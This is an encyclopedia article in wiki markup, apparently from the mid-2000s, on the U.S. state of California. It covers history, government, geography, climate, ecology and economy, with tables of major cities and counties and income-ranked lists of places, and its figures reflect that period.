'''California''' is a [[U.S. state]] located on the [[West Coast of the United States|west coast]] of the [[United States]]. California is the third largest state in the U.S. by area and the [[List of U.S. states by population|most populous state in the U.S.]], as well as the most physically diverse, with the highest and the lowest points in the [[lower 48]] states located within 85 miles of each other.  If California were an independent nation, it would have the sixth largest [[Economy of California|economy]] in the world (after the rest of the U.S., [[Japan]], [[Germany]], the [[United Kingdom]] and [[China]]; see [[economy of California]]). The state's official nickname is &quot;The Golden State&quot; in reference to California's 1849 [[California Gold Rush|Gold Rush]]. {{ref|origin_of_nickname}}

As one of the most demographically diverse states in the nation, California is a dominant force in American culture as well as the nation's economy. It has some of the nation's most important cities, including [[Los Angeles, California|Los Angeles]], [[San Diego, California|San Diego]], [[San Jose, California|San Jose]], and [[San Francisco, California|San Francisco]], and is responsible for many legal and technological innovations.

The entire region originally known as California was composed of the Mexican peninsula now known as [[Baja California Peninsula|Baja California]] and much of the land in the current states of California, [[Nevada]], [[Utah]], [[Arizona]] and [[Wyoming]], known as [[Alta California]]. In these early times, the boundaries of the [[Sea of Cortez]] and the Pacific coast were only partially explored and California was shown on early maps as an island. The name comes from ''Las sergas de Esplandián'' (Adventures of Splandian), a 16th century novel, by [[Garci Rodríguez de Montalvo]], where there is an island paradise called California. (For further discussion, see: [[Origin of the name California]].)

== History ==
:''Main articles: [[History of California]], [[History of California (20th century)]]''

Pre-European California was one of the most culturally and linguistically diverse culture areas in Native North America. Large, settled populations lived on the West Coast and hunted sea mammals, fished for salmon, and gathered shellfish, while more mobile hunters and gathering groups in the California interior hunted terrestrial game and gathered nuts, acorns, and berries. California groups also were diverse in their political organization with bands, tribes, tribelets, and on the resource-rich coasts large chiefdoms, such as the Chumash, Pomo and Salinan. Trade, intermarriage, and military alliances fostered many social and economic relationships among the diverse groups.

The first [[European]] to explore parts of the coast was the [[Portuguese people|Portuguese]] [[Juãn Rodrigues Cabrillo]] in 1542.  
The first to explore the entire coast and claim possession of it was [[Francis Drake]] in 1579. Beginning in the late 1700s, Spanish missionaries set up tiny settlements on enormous grants of land in the vast territory north of Baja California.  The missions played a dominant role in the decimation of California's [[Native American tribes of California#California|indigenous population]]. Upon Mexican independence from Spain, the [[Spanish Missions of California|chain of missions]] became the property of the Mexican government, and they were quickly dissolved and abandoned. However, many of California's major cities grew around these missions, leading to their religious names (i.e. [[Los Angeles]] for the [[Virgin Mary]], [[San Francisco]] for [[St. Francis of Assisi]], [[San Jose, California|San Jose]] for [[St. Joseph of Nazareth]] and [[San Diego]] for [[St. Didacus]].) For a quarter century after the achievement of Mexican independence in 1821, California was a remote northern province of the nation of Mexico. Huge cattle ranches, or ranchos, emerged as the dominant institutions of Mexican California. Traders and settlers from the United States began to arrive, harbingers of the great changes that would sweep California.

In this period, some nobles of [[Imperial Russia]] made brief attempts to explore and claim parts of California, but these were limited by a lack of Imperial interest. 

California was poorly settled until modern public health eliminated the endemic outbreaks of [[yellow fever]], [[malaria]] and [[Black plague|plague]], caused because the area lacks frosts to kill mosquitos and fleas.

In 1846, at the outset of the [[Mexican-American War]] (1846-1848),  the [[California Republic]] was founded and the [[Flag of California|Bear Flag]] was flown, which featured a [[Brown bear|golden bear]] and a star. The Republic came to a sudden end, however, when Commodore [[John D. Sloat]] of the [[United States Navy]] sailed into [[San Francisco Bay]] and claimed California for the United States. Following the war, the region was divided between [[Mexico]] and the United States. The Mexican portion, Baja (lower) California was later divided into the states of [[Baja California]] and [[Baja California Sur]]. The western part of the U.S. portion, [[Alta California|Alta (upper) California]], was to become the U.S. state of California.

In 1848, the Spanish-speaking population of distant upper California numbered around 4,000.  But after gold was discovered, the population burgeoned with Americans, Europeans, and other immigrants in the great [[California gold rush]]. In 1850, the state was admitted to the Union of the [[USA]] as a [[free state]] (one in which [[slavery]] was prohibited).

During the [[American Civil War]], California officially entered on the side of the North, but there was significant support for the South as well and many went east to fight for the [[Confederate States of America|Confederacy]].

At first, travel between the far Pacific West to the eastern population centers was time consuming and dangerous, requiring either long ocean voyages, or difficult transcontinental passages by [[stagecoach]] and on foot. A more direct connection came in 1869 with the completion of the [[First Transcontinental Railroad|first transcontinental railroad]]. After this rail link was established, hundreds of thousands of Americans came west, where new Californians were discovering that land in the state, if irrigated during the dry summer months, was extremely well suited to fruit cultivation and agriculture in general. Citrus, oranges in particular, were widely grown, and the foundation was laid for the state's prodigious agricultural production of today.  

During the early 20th century, migration to California accelerated with the completion of major transcontinental highways like the [[Lincoln Highway]] and [[U.S. Highway 66|Route 66]].  In the period from 1900 to 1965 the population grew from fewer than one million to become the most populous state in the Union.  From 1965 to the present, the population demographic changed radically and became one of the most diverse in the world. The state is generally liberal-leaning, technologically and culturally savvy, and a world center of engineering businesses, the film and television industry, music industry, and as mentioned above, American agricultural production.
== Law and government ==
{{main|California government and politics}}

California is governed as a [[republic]], with three [[separation of powers|branches of government]], the [[executive branch]] consisting of the [[Governor of California]] and the other independently elected constitutional officers, the [[legislative branch]] consisting of the [[California Assembly|Assembly]] and [[California State Senate|Senate]], and the [[judicial branch]] consisting of the [[Supreme Court of California]] and lower courts.  The state also allows direct participation of the electorate by [[referendum]], [[recall election|recall]], and [[ratification]].

The [[Governor of California]] and the other state constitutional officers serve four-year terms and may be re-elected only once. The [[California State Legislature]] consists of a 40 member [[California State Senate|Senate]] and 80 member [[California State Assembly|Assembly]]. Senators serve four year terms and Assembly members two.  The terms of the Senators are staggered so that half the membership is elected every two years. The Senators representing the odd-numbered districts are elected in years evenly divisible by four, i.e., presidential election years. The Senators from the even-numbered districts are elected in the intervening even-numbered years, in the gubernatorial election cycle. California's legislature is organized in such a way that the party caucus leaders wield great power and can usually speak on behalf of their caucuses. Many important legislative decisions are thus not made on the floor of the legislature but in back-room deals by the &quot;[[Big Five (California)|Big Five]]&quot;, which comprises the governor and the Democratic and Republican leaders of each chamber. Members of the Assembly are subject to [[term limits]] of 3 terms, and members of the Senate are subject to term limits of 2 terms.

For the 2005&amp;ndash;2006 session, there are 48 [[United States Democratic Party|Democrats]] and 32 [[United States Republican Party|Republicans]] in the Assembly.  In the Senate, there are 25 Democrats and 15 Republicans.  The current governor is action film star [[Arnold Schwarzenegger]], Republican, whose current term lasts through January 2007. Schwarzenegger was only the second person in the history of the United States to be put into office by a [[recall election|recall]] of a sitting governor (the first was the 1921 recall of [[North Dakota]] Governor [[Lynn Frazier|Lynn J. Frazier]]). Schwarzenegger replaced Governor [[Gray Davis]] (1999&amp;ndash;2003), who was removed from office by the October 2003 [[2003 California recall|California recall election]].

The state's capital is [[Sacramento, California|Sacramento]].  During California's early history under European control, the capital was successively located in [[Monterey, California|Monterey]] (1775&amp;ndash;1849), [[San Jose, California|San Jose]] (1849&amp;ndash;1851), [[Vallejo, California|Vallejo]] (1852&amp;ndash;1853), [[Benicia, California|Benicia]] (1853&amp;ndash;1854), and [[San Francisco, California|San Francisco]] (1862).  The capital moved to Sacramento temporarily in 1852 when construction on a State House could not be completed in time in Vallejo.  The capital's final move to Sacramento was on [[February 25]], [[1854]] where it has been permanently, except for a four-month temporary move in 1862 to San Francisco, due to severe flooding in Sacramento.

California's giant [[judiciary]] is the largest in the United States (with a total of 1,600 judges, while the federal system has only about 840).  It is supervised by the seven Justices of the [[Supreme Court of California]].  Justices of the Supreme Court and Courts of Appeal are appointed by the Governor, but are subject to retention by the electorate every 12 years.  Judges of the trial courts, the Superior Courts in each county, may be appointed by the Governor or elected directly by the voters, depending on when the vacancy occurs.  Superior Court judges serve six-year terms, after which they may run for re-election.  Unlike the retention elections for Supreme Court and Court of Appeal justices, Superior Court judges run for re-election in open races, in which other qualified candidates may run as challengers.

California's legal system is explicitly based on English [[common law]] but carries a few features from Spanish [[Civil law (legal system)|civil law]]. [[Capital punishment in California|Capital punishment]] is a legal form of punishment and the state has the largest &quot;[[Death Row]]&quot; population in the country.

At the national level, California is represented by two senators and 53 representatives, as of 2005. It has 55 electoral votes in the [[U.S. Electoral College]]. (Since California is the most populous state in the Union, its counts of Congressmen and Presidential Electors are also the largest.) The two [[United States Senate|U.S. Senators]] from California are Democrats [[Dianne Feinstein]] and [[Barbara Boxer]]. 33 Democrats and 20 Republicans represent the state in the [[United States House of Representatives|U.S. House of Representatives]].

California is considered a strong [[United States Democratic Party|Democratic]] state. Once very conservative, having elected conservatives such as [[Ronald Reagan]] as governor and [[William Knowland]] as Senator, California has flipped sides in recent decades and became a liberal bastion, having elected statewide liberals such as [[Dianne Feinstein]] and [[Barbara Boxer]] to the Senate. The latter is known for being one of the most liberal members of the US Senate. Even some recent [[United States Republican Party|Republican]] politicians elected statewide, such as Governors [[Pete Wilson]] and [[Arnold Schwarzeneggar]] are considered members of the more moderate to liberal wing of the national [[Republican Party]]. While California is among the most Democratic and liberal states in the nation because of the large concentration of liberal voters in populous areas along the coast, much of California is politically very conservative, notably the Central Valley, the Inland Empire, Orange and San Diego counties, and most inland, eastern, and rural areas.  Democratic bastions are mostly coastal and include the entire San Francisco Bay Area, Los Angeles, Salinas, Santa Barbara, and Imperial County.  The state has supported Democrats in the last four presidential elections.  In 2004, Republican President [[George W. Bush]] received a majority of votes in more than half the state's 58 counties, but still lost California's 55 electoral votes to John Kerry, who won 54.3% of the popular vote, by a margin of 10 percentage points.

'''Ballot qualified political parties'''

*[[American Independent Party]]:  [http://www.aipca.org link] 
*[[Democratic Party (United States)|Democratic Party]]:                       [http://www.cadem.org/ link]
*[[Green Party (United States)|Green Party]]:                            [http://www.cagreens.org link]
*[[Libertarian Party (United States)|Libertarian Party]]:                      [http://www.ca.lp.org link]
*[[United States Natural Law Party|Natural Law Party]]:                    [http://www.natural-law.org link]
*[[Peace and Freedom Party (United States)|Peace and Freedom Party]]:[http://www.peaceandfreedom.org link]
*[[Republican Party (United States)|Republican Party]]:                      [http://www.cagop.org link]

''See also:'' [[List of California Governors]], [[U.S. Congressional Delegations from California]], [[List of California counties]], [[List of California ballot propositions]]

== Geography ==
{{main|Geography of California}}
{{ussm|california.png|ca}}
California borders the [[Pacific Ocean]], [[Oregon]], [[Nevada]], [[Arizona]], and the [[Mexico|Mexican]] state of [[Baja California]]. The state has strikingly beautiful natural features, including an expansive central valley, tall mountains, hot deserts, and hundreds of miles of scenic coastline.  With an area of [[1 E11 m²|411,000]] [[square kilometre|km²]] it is the third largest state in the U.S and larger than Germany in size. Most major cities are at or near the Pacific coastline, notably [[Los Angeles, California|Los Angeles]], [[San Francisco, California|San Francisco]], [[San Jose, California|San Jose]], [[Long Beach, California|Long Beach]], [[Oakland, California|Oakland]], [[Santa Ana, California|Santa Ana]]/[[Orange County, California|Orange County]], and [[San Diego, California|San Diego]]. However, the [[capital]], [[Sacramento, California|Sacramento]], is in the [[Central Valley]].

California has extremely varied geography. In the center of the state lies the [[Central Valley|California Central Valley]], a huge, fertile [[valley]] bounded by the [[Pacific Coast Ranges|coastal mountain ranges]] in the [[Western United States|west]], the granite [[Sierra Nevada (US)|Sierra Nevada]] to the [[east]], the volcanic [[Cascade Range]] in the [[Northern California|north]] and the [[Tehachapi Mountains]] in the [[Southern California|south]]. Mountain-fed [[river]]s, dams, and canals provide water to irrigate the Central Valley. Water supply for much of the state, particularly the more populous cities in Southern California, is provided by the [[California Department of Water Resources|State Water Project]]. The [[Central Valley Project]] also provides municipal water supply, though it primarily provides water supply to irrigated agriculture. With dredging, several of these rivers have become sufficiently large and deep that several inland cities, notably [[Stockton, California|Stockton]], are [[seaport]]s. The hot, fertile Central Valley is California's agricultural heartland and grows a large portion of America's food, yet near freezing temperatures are not uncommon during winter which sometimes wipe out portions of crops.  The southern part of the valley, which is part desert, is known as the San Joaquin Valley (drained by the [[San Joaquin River]]), while the northern half is known as the Sacramento Valley (drained by the [[Sacramento River]]). The [[Sacramento River Delta|Sacramento-San Joaquin Bay Delta]] is major estuary that supports a brackish ecosystem, while serving as the water supply hub for much of the state's population.

In the center and east of the state are the Sierra Nevada (meaning Snowy Range in Spanish), containing the highest peak in the contiguous lower 48 states, [[Mount Whitney]], at 14,505 feet (4421 m). Also located in the Sierra are the world famous [[Yosemite National Park]] and a deep freshwater lake, [[Lake Tahoe]], the largest lake in the state by volume. To the east of the Sierra are [[Owens Valley]] and [[Mono Lake]], an essential [[seabird]] habitat.  To the west is [[Clear Lake]], California's largest freshwater lake by area. The Sierra Nevada reaches arctic temperatures in the winter and holds several dozen small glaciers, including the most southern glacier in the United States (Palisade Glacier).

California has about 35% of its total surface area covered by forests.  California's diversity of pine species is unmatched by any other state.  Though other states have a higher percentage of their land area covered by forests, in terms of total area, California contains more forestland than any other state except Alaska.  Most of the forest is found in 2 places.  First, in the northwestern part of the state and along the western slope of the Sierra Nevada.  Smaller forests, mainly consisting of oaks, can be found along the coast ranges of California closer to the coast, and also in the foothills of the Sierra Nevada.  Smaller areas of pine forests can be found in the San Gabriel and San Bernardino mountains of Southern California and also in the mountain areas of Central San Diego Country.
[[Image:wiki_california.jpg|thumb|left|350px|Greetings from California]]
Deserts in California make up about 25% of the total surface area.  In the south lie the [[Transverse Ranges]] and a large salt lake, the [[Salton Sea]]. The south-central desert is called the [[Mojave Desert|Mojave]]. To the northeast of the Mojave lies [[Death Valley]], which contains the lowest, hottest point in [[North America]].  The lowest point of Death Valley and the peak of Mount Whitney are less than 200 miles apart. The hiking trek between the two points has been attempted, several times, most notably by [[Lee Bergthold]]. Indeed, almost all of southeastern California is arid, hot desert, with the [[Coachella Valley]] and [[Imperial Valley]] routinely experiencing extreme high temperatures during the summer.

Along the densely-populated and long California coast lie a number of major metropolitan areas, including those of [[San Jose, California|San Jose]]-[[San Francisco, California|San Francisco]]-[[Oakland, California|Oakland]], [[Los Angeles, California|Los Angeles]]-[[Long Beach, California|Long Beach]], Santa Ana-Irvine-Anaheim, and [[San Diego, California|San Diego]]. Climates near the [[Pacific Ocean]] are remarkably moderate compared with inland climates. Winter temperatures never reach freezing (snow is virtually unheard of) and summer temperatures rarely reach above the high 80's Fahrenheit (low 30's Celsius).

California is famous for [[earthquake]]s due to the presence of a number of faults, in particular the [[San Andreas Fault]]. While powerful earthquakes in the United States have occurred in other states such as [[Alaska]], [[Washington]], [[Oregon]], and the Midwestern state of [[Missouri]], (along the [[New Madrid fault]]), people are more aware of California's earthquakes due to their frequency and tendency to strike in highly populated areas. 

California is also home to several [[volcano]]es, some active such as [[Mammoth Mountain]].  Other volcanoes include [[Lassen Peak]], which erupted from 1914 and 1921, and [[Mount Shasta]].

=== Climate ===
Different regions of California have very different climates, depending on their latitude, elevation, and proximity to the coast. Most of the state has a [[Mediterranean climate]], with rainy [[winter]]s and dry [[summer]]s. The influence of the ocean generally moderates temperature extremes, creating warmer winters and substantially cooler summers, and the cold oceanic California Current offshore often creates summer fog near the coast. As one moves away from the coast, the climate becomes more [[continental climate|continental]], with colder winters and markedly hotter summers. The temperature gradient between immediate coast and low-lying inland valleys in the north is about 7 °F (4 °C) in winter, coast being warmer, and in summer roughly 25 °F (14 °C) but opposite. In the south, the figures are approximately 4 and 23 °F (2 °C and 13 °C), respectively; however 4 °F and 35 °F (2 °C and 20 °C) between [[Santa Barbara, California|Santa Barbara]] and [[Death Valley]].

Westerly winds from the ocean also bring moisture, and the northern parts of the state generally receive higher rainfall than the south. California's mountain ranges influence the climate as well: moisture-laden air from the west cools as it ascends the mountains, dropping moisture; some of the rainiest parts of the state are west-facing mountain slopes. Northwestern California has a [[temperate climate]] with rainfall of 15&amp;ndash;40 inches (400&amp;ndash;1000 mm) per year. The Central Valley has a Mediterranean climate, but with greater temperature extremes than the coastal areas; parts of the valley are often filled with thick fog, similar to that found in the coastal valleys. The high mountains, including the [[Sierra Nevada (US)|Sierra Nevada]], have a [[mountain climate]] with [[snow]] in winter and mild to moderate heat in summer.

On the east side of the mountains is a drier &quot;[[rain shadow]].&quot; California's [[desert climate]] regions lie east of the high Sierra Nevada and southern California's [[Transverse Ranges]] and [[Peninsular Ranges]]. The low deserts east of the southern California mountains, including the Imperial and Coachella valleys and the lower [[Colorado River (U.S.)|Colorado River]], are part of the [[Sonoran Desert]], with hot summers and mild winters; the higher elevation deserts of [[eastern California]], including the [[Mojave Desert]], [[Owens Valley]], and the [[Modoc Plateau]], are part of the [[Great Basin]] region, with hot summers and cold winters.

[[Death Valley]], in the northern portion of the [[Mojave Desert]] on the east side of the state, is the hottest spot on the [[Western Hemisphere]], with high temperatures over 120 °F common in the summer.  The highest temperature in the Western Hemisphere, 134 °F (56.6 °C), was recorded in Death Valley on [[July 10]], [[1913]].  Temperatures of 130 °F or higher have been recorded as recently as 2005. The 24-hour average July temperature in Death Valley is 101 °F (38 °C) (1961--1990 standard).

==Ecology==
{{main|Ecology of California}}

Ecologically, California is one of the richest and most diverse parts of the world, and includes some of the most endangered ecological communities. California's diverse geography, geology, soils and climate have generated a tremendous diversity of plant and animal life. The State of California is part of the [[Nearctic]] [[ecozone]], and spans a number of [[terrestrial ecoregions]], and is perhaps the most ecologically diverse state in the United States.

California has a rather high percentage of [[endemic (ecology)|endemic]] species. California endemics include relict species that have died out elsewhere, including the redwoods and the Catalina Ironwood (''Lyonothamnus floribundus''). Many other endemics originated through differentiation or [[adaptive radiation]], whereby multiple species develop from a common ancestor to take advantage of diverse ecological conditions. California's great abundance of species of California lilac (''[[Ceanothus]]'') is an example of adaptive radiation. Many California endemics have become endangered, as urbanization, logging, overgrazing, and the introduction of exotic species have encroached on their habitat. Furthermore, California is home to the largest trees in the world, the [[Giant Sequoias]].

California's native grasses were [[perennial|perennials]], which stayed green year-round in most of the state's subclimates{{ref|native_grasses}}. After European contact, these were generally replaced by [[invasive species]] of European annual grasses; and, in modern times, California's hills turn a characteristic golden brown in summer and fall. California's nickname ''The Golden State'' is in reference to the [[California Gold Rush]], and not to the golden brown summer hillsides as is sometimes stated.{{ref_label|origin_of_nickname|1|a}}

== Economy ==
{{main|Economy of California}}
[[Image:Hollywood Sign close up 2006.jpg|thumb|right|250px|The [[Hollywood Sign]] is the most well-known symbol of California's huge entertainment industry.]]
[[Image:SanJoseDowntownIMG016elf wb.jpg|thumb|right|250px|[[Silicon Valley]] is the center of California's computer industry.]]

As of 2005, California has the fifth largest economy in the world. It is responsible for 13% of the United States' [[gross domestic product]] (GDP). The [[gross state product]] (GSP) is about $1.4 [[trillion]] ($1,400,000,000,000, as of 2005), making it greater than that of every other [[U.S. state]], and most [[countries of the world|countries in the world]] (by [[Purchasing Power Parity]]).  

The predominant industry, more than twice as large as the next, is [[agriculture]], (including [[fruit]], [[vegetable]]s, [[dairy]], and [[wine]]).  This is followed by [[aerospace]]; [[entertainment]], primarily [[television]] by dollar volume, although many [[film|movies]] are still made in California; and light manufacturing including [[computer hardware]] and [[software]], and the [[mining]] of [[borax]].

Per capita personal income was $33,403 as of 2003, ranking 12&lt;sup&gt;th&lt;/sup&gt; in the nation.  Per capita income varies widely by geographic region and profession. The Central Valley has the most extreme contrasts of income, with [[migrant worker|migrant farm workers]] making less than [[minimum wage]]. Recently, the San Joaquin Valley was characterized [http://www.centralvalleybusinesstimes.com/links/CRS%20San%20Joaquin%20Valley%20Report.pdf] as one of the most economically depressed regions in the U.S., on par with the region of [[Appalachia]].

While some coastal cities include some of the wealthiest per-capita areas in the U.S., notably [[San Francisco, California|San Francisco]] and [[Marin County, California|Marin County]], the non-agricultural central counties have some of the highest poverty rates in the U.S.  The high-technology sectors in Northern California, specifically [[Silicon Valley]], in [[Santa Clara County, California|Santa Clara]] and [[San Mateo County, California|San Mateo counties]], are currently emerging from economic downturn caused by the [[dot.com bust]], which caused the loss of over 250,000 jobs in Northern California alone.  Recent (Spring 2005) [http://uclaforecast.com economic data] indicate that economic growth has resumed in California, although still slightly below the national annualized forecast of 3.9%.  The international boom in housing prices has been most pronounced in California, with the median property price in the state rising to about the half-million dollar mark in April 2005.

{{seealso|California unemployment statistics}}

== Important cities and towns ==
&lt;gallery&gt;
Image:Sacramento from Riverwalk.jpg|Sacramento
Image:DowntownLosAngeles.jpg|Los Angeles
Image:Sandiego.arp.750pix.jpg|San Diego
Image:Lightmatter sanfrancisco.jpg|San Francisco
Image:SanJoseDowntownIMG016elf wb.jpg|San Jose
Image:Long Beach, CA at night.jpg|Long Beach
Image:La2-oakland.jpg|Oakland
Image:Anaheimdland.jpg|Anaheim
&lt;/gallery&gt;
The state of California has 478 cities, the majority of which are within one of the large [[metropolitan area]]s.  68% of California's population lives in its two largest metropolitan areas, [[Greater Los Angeles Area|Greater Los Angeles]] and the [[San Francisco Bay Area]].
{|
|-
|valign=top|
{| class=&quot;wikitable&quot; style=&quot;text-align:right; margin-left:60px&quot; 
|- 
! Rank !! align=center |City !! Population&lt;br&gt;&lt;small&gt; within&lt;br&gt;city limits&lt;/small&gt; !! Land Area&lt;br&gt;&lt;small&gt; sq. miles&lt;/small&gt; !! Population&lt;br&gt;Density&lt;br&gt;&lt;small&gt; per sq mi&lt;/small&gt; !! County
|-
| 1 ||align=left | [[Los Angeles, California|Los Angeles]] || '''3,957,875''' || 469.1 || 7,876.8 || [[Los Angeles County, California|Los Angeles]]
|-       
| 2 ||align=left | [[San Diego, California|San Diego]] || '''1,305,736''' || 324.3 || 3,771.9 || [[San Diego County, California|San Diego]]
|-
| 3 ||align=left | [[San Jose, California|San Jose]] || '''944,857''' || 174.9 || 5,117.9 || [[Santa Clara County, California|Santa Clara]]
|-
| 4 ||align=left | [[San Francisco, California|San Francisco]] || '''799,263''' || 46.7 || 16,634.4 || [[San Francisco County, California|San Francisco]]
|-
| 5 ||align=left | [[Long Beach, California|Long Beach]] || '''491,564''' || 50.5 || 9,149.8 || [[Los Angeles County, California|Los Angeles]]
|-
| 6 ||align=left | [[Fresno, California|Fresno]] || '''464,727''' || 104.4 || 4,097.7 || [[Fresno County, California|Fresno]]
|-
| 7 ||align=left | [[Sacramento, California|Sacramento]] || '''452,959''' || 97.2 || 4,189.2 || [[Sacramento County, California|Sacramento]]
|-
| 8 ||align=left | [[Oakland, California|Oakland]] || '''412,318''' || 56.1 || 7,126.6 || [[Alameda County, California|Alameda]]
|-
| 9 ||align=left | [[Santa Ana, California|Santa Ana]] || '''351,697''' || 27.1 || 12,451.9 || [[Orange County, California|Orange]]
|-
|10 ||align=left | [[Anaheim, California|Anaheim]] || '''345,317''' || 48.9 || 6,702.0 || [[Orange County, California|Orange]]
|}
&lt;br clear=left&gt;
{| class=&quot;wikitable&quot; style=&quot;text-align:right; margin-left:60px&quot; 
|- 
! Rank !! align=center |County !! Population&lt;br&gt;&lt;small&gt; within&lt;br&gt;county limits&lt;/small&gt; !! Land Area&lt;br&gt;&lt;small&gt; sq. miles&lt;/small&gt; !! Population&lt;br&gt;Density&lt;br&gt;&lt;small&gt; per sq mi&lt;/small&gt; !! Largest city
|-
| 1 ||align=left | [[Los Angeles County, California|Los Angeles]] || '''10,226,506''' || 4,061 || 2,344 || [[Los Angeles, California|Los Angeles]]
|-       
| 2 ||align=left | [[Orange County, California|Orange]] || '''3,056,865''' || 789 || 3,606 || [[Santa Ana, California|Santa Ana]]
|-
| 3 ||align=left | [[San Diego County, California|San Diego]] || '''3,051,280''' || 4,200 || 670 || [[San Diego, California|San Diego]]
|-
| 4 ||align=left | [[San Bernardino County, California|San Bernardino]] || '''1,946,202''' || 20,052 || 85 || [[San Bernardino, California|San Bernardino]]
|-
| 5 ||align=left | [[Riverside County, California|Riverside]] || '''1,877,000''' || 7,207 || 214 || [[Riverside, California|Riverside]]
|-
| 6 ||align=left | [[Santa Clara County, California|Santa Clara]] || '''1,759,585''' || 1,291 || 1,304 || [[San Jose, California|San Jose]]
|-
| 7 ||align=left | [[Alameda County, California|Alameda]] || '''1,507,500''' || 738 || 732 || [[Oakland, California|Oakland]]
|-
| 8 ||align=left | [[Sacramento County, California|Sacramento]] || '''1,369,855''' || 966 || 1,267 || [[Sacramento, California|Sacramento]]
|-
| 9 ||align=left | [[Contra Costa County, California|Contra Costa]] || '''1,020,898''' || 720 || 492 ||  [[Concord, California|Concord]]
|-
|10 ||align=left | [[Fresno County, California|Fresno]] || '''883,537''' || 5,963 || 134 || [[Fresno, California|Fresno]]
|}
&lt;br clear=left&gt;
&lt;small&gt;'''Note: table was compiled using California State estimates from [http://www.dof.ca.gov/HTML/DEMOGRAP/e-1press.pdf 2005] for population and [[United States Census, 2000|Census 2000]] for area and density''' &lt;/small&gt;

For a list of important suburbs within the above areas, see [[List of urbanized areas in California (by population)]].

{{see also|List of cities in California|List of cities in California (by population) }}

===25 wealthiest places in California===
Thanks to the state's powerful economy, certain California cities are among the wealthiest on the planet. The following list is ranked by [[per capita income]]:

# [[Belvedere, California]]&amp;nbsp;&amp;ndash; [[Marin County, California|Marin County]]&amp;nbsp;&amp;ndash; $113,595
# [[Rancho Santa Fe, California]]&amp;nbsp;&amp;ndash; [[San Diego County, California|San Diego County]]&amp;nbsp;&amp;ndash; $113,132
# [[Atherton, California]]&amp;nbsp;&amp;ndash; [[San Mateo County, California|San Mateo County]]&amp;nbsp;&amp;ndash; $112,408
# [[Rolling Hills, California]]&amp;nbsp;&amp;ndash; [[Los Angeles County, California|Los Angeles County]]&amp;nbsp;&amp;ndash; $111,031
# [[Woodside, California]]&amp;nbsp;&amp;ndash; [[San Mateo County, California|San Mateo County]]&amp;nbsp;&amp;ndash; $104,667
# [[Portola Valley, California]]&amp;nbsp;&amp;ndash; [[San Mateo County, California|San Mateo County]]&amp;nbsp;&amp;ndash; $99,621
# [[Newport Coast, California]]&amp;nbsp;&amp;ndash; [[Orange County, California|Orange County]]&amp;nbsp;&amp;ndash; $98,770
# [[Hillsborough, California]]&amp;nbsp;&amp;ndash; [[San Mateo County, California|San Mateo County]]&amp;nbsp;&amp;ndash; $98,643
# [[Diablo, California]]&amp;nbsp;&amp;ndash; [[Contra Costa County, California|Contra Costa County]]&amp;nbsp;&amp;ndash; $95,419
# [[Fairbanks Ranch, California]]&amp;nbsp;&amp;ndash; [[San Diego County, California|San Diego County]]&amp;nbsp;&amp;ndash; $94,150
# [[Hidden Hills, California]]&amp;nbsp;&amp;ndash; [[Los Angeles County, California|Los Angeles County]]&amp;nbsp;&amp;ndash; $94,096
# [[Los Altos Hills, California]]&amp;nbsp;&amp;ndash; [[Santa Clara County, California|Santa Clara County]]&amp;nbsp;&amp;ndash; $92,840
# [[Tiburon, California]]&amp;nbsp;&amp;ndash; [[Marin County, California|Marin County]]&amp;nbsp;&amp;ndash; $85,966
# [[Sausalito, California]]&amp;nbsp;&amp;ndash; [[Marin County, California|Marin County]]&amp;nbsp;&amp;ndash; $81,040
# [[Monte Sereno, California]]&amp;nbsp;&amp;ndash; [[Santa Clara County, California|Santa Clara County]]&amp;nbsp;&amp;ndash; $76,577
# [[Indian Wells, California]]&amp;nbsp;&amp;ndash; [[Riverside County, California|Riverside County]] $76,187
# [[Malibu, California]]&amp;nbsp;&amp;ndash; [[Los Angeles County, California|Los Angeles County]]&amp;nbsp;&amp;ndash; $74,336
# [[Del Monte Forest, California]]&amp;nbsp;&amp;ndash; [[Monterey County, California|Monterey County]]&amp;nbsp;&amp;ndash; $70,609
# [[Piedmont, California]]&amp;nbsp;&amp;ndash; [[Alameda County, California|Alameda County]]&amp;nbsp;&amp;ndash; $70,539
# [[Montecito, California]]&amp;nbsp;&amp;ndash; [[Santa Barbara County, California|Santa Barbara County]]&amp;nbsp;&amp;ndash; $70,077
# [[Palos Verdes Estates, California]]&amp;nbsp;&amp;ndash; [[Los Angeles County, California|Los Angeles County]]&amp;nbsp;&amp;ndash; $69,040
# [[Emerald Lake Hills, California]]&amp;nbsp;&amp;ndash; [[San Mateo County, California|San Mateo County]]&amp;nbsp;&amp;ndash; $68,966
# [[Loyola, California]]&amp;nbsp;&amp;ndash; [[Santa Clara County, California|Santa Clara County]]&amp;nbsp;&amp;ndash; $68,730
# [[Blackhawk-Camino Tassajara, California]]&amp;nbsp;&amp;ndash; [[Contra Costa County, California|Contra Costa County]]&amp;nbsp;&amp;ndash; $66,972
# [[Los Altos, California]]&amp;nbsp;&amp;ndash; [[Santa Clara County, California|Santa Clara County]]&amp;nbsp;&amp;ndash; $66,776

{{further|[[California locations by per capita income]]}}

Note: [[Marin County, California|Marin County]] ranks as the [[Richest counties in the United States|wealthiest county]] in the United States based on per capita personal income.

===30 poorest places in California===
Many California communities rank among the poorest in the western world. The following list is ranked by increasing [[per capita income]], first number is state ranking:

1076 [[Tobin, California]] -  [[Plumas County]] - $2,584   &lt;br&gt; 
1075 [[Belden, California]] -  [[Plumas County]] - $3,141   &lt;br&gt; 
1074 [[East Orosi, California]] - [[Tulare County]] - $4,984   &lt;br&gt; 
1073 [[London, California]] - [[Tulare County]] - $5,632   &lt;br&gt; 
1072 [[Cantua Creek, California]] - [[Fresno County]] - $5,693   &lt;br&gt; 
1071 [[Indian Falls, California]] - [[Plumas County]] - $5,936   &lt;br&gt; 
1070 [[Westley, California]] - [[Stanislaus County]] - $6,137   &lt;br&gt; 
1069 [[Cutler, California]] - [[Tulare County]] - $6,254   &lt;br&gt; 
1068 [[Mecca, California]] - [[Riverside County]] - $6,389  &lt;br&gt; 
1067 [[Richgrove, California]] - [[Tulare County]] - $6,415   &lt;br&gt; 
1066 [[San Joaquin, California]] - [[Fresno County]] - $6,607   &lt;br&gt; 
1065 [[Woodville, California]] - [[Tulare County]] - $6,824   &lt;br&gt; 
1064 [[Kennedy, California]] - [[San Joaquin County]] $6,876   &lt;br&gt; 
1063 [[Mettler, California]] - [[Kern County]] - $6,919   &lt;br&gt; 
1062 [[Mendota, California]] - [[Fresno County]] - $6,967   &lt;br&gt; 
1061 [[Terra Bella, California]] - [[Tulare County]] - $7,034   &lt;br&gt; 
1060 [[Parlier, California]] - [[Fresno County]] -$7,078   &lt;br&gt; 
1059 [[Orange Cove, California]] - [[Fresno County]] - $7,126   &lt;br&gt; 
